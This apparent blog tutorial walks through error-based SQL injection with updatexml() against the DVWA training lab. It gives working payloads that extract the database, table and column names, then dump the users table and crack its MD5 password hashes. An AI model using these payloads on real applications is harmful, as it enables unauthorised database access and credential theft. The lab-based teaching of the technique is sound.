以DVWA靶场为例:
一、测试注入点既类型:
输入'
存在注入点且为符号型单引号闭合型
二、获取数据库名:
输入'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))='1
数据库名为dvwa
三、获取数据库表名:
输入'and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1))='1
数据库dvwa中有两个表,分别叫guestbook,users
猜测登录账号密码在users里
四、获取users里的字段名
输入'and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'),0x7e),1))='1
为什么会出现显示不全的情况呢?(右边的~未显示)
因为报错显示位有限(32位),据猜测字段语义我们可以排除已经显示的几个字段里不存在我们需要的账户与密码,所以接下来我们用substring()函数查看后面的字段名
输入'and (updatexml(1,concat(0x7e,(select substring(group_concat(column_name),25,30) from information_schema.columns where table_name='users' and table_schema='dvwa'),0x7e),1))='1
显然我们要的账号与密码分别在user与password字段中
五、获取user与password字段具体的值
同样我们获取具体值的时候也要注意报错显示只有32位,这里我们用limit()函数限制每次读取一对账号密码(limit 0,1表示只查询1条数据,索引从0开始,第1条记录,依次修改索引,将全部数据读出)
读取第一对账号密码:
输入'and (updatexml(1,concat(0x7e,(select concat('~',user,'~',password,'~') from users limit 0,1),0x7e),1))='1
这里明显显示不全,为了将密码全部一次读出,多次构造注入尝试,发现无法一次读出完整密码,只能分两次读出并拼接,多次尝试发现substring(32,35)刚好可以读出剩余密码以便拼接。
输入'and (updatexml(1,concat(0x7e,(select substring(concat('~',user,'~',password,'~'),32,35) from users limit 0,1),0x7e),1))='1
账号为:admin
密码拼接后:431a90268fe4538ec36e1bb6307418dc
发现md5解密失败!估计是测试账号
依次更改limit()函数的参数,从limit 0,1-->limt 1,1-->...-->limit 4,1-->...一直到无响应为止,将剩余账号密码读出并解密
账号2:
账号:gordonb
密码拼接后:e99a18c428cb38d5f260853678922e03
解密后:abc123
账号3:
账号:1337
密码拼接后:8d3533d75ae2c3966d7e0d4fcc69216b
解密后:charley
账号4:
账号:pablo
密码拼接后:0d107d09f5bbe40cade3de5c71e9e9b7
解密后:letmein
账号5:
账号:smithy
密码拼接后:5f4dcc3b5aa765d61d8327deb882cf99
解密后:password
输入'and (updatexml(1,concat(0x7e,(select concat('~',user,'~',password,'~') from users limit 5,1),0x7e),1))='1
无响应,故可判断数据库内只存放了五对账号密码
我们还可以通过联合查询注入(见我的博文《SQL注入基础篇》)验证我们查询的真伪:
输入1' union select user,password from users#
可以看到和我们报错注入的结果一致。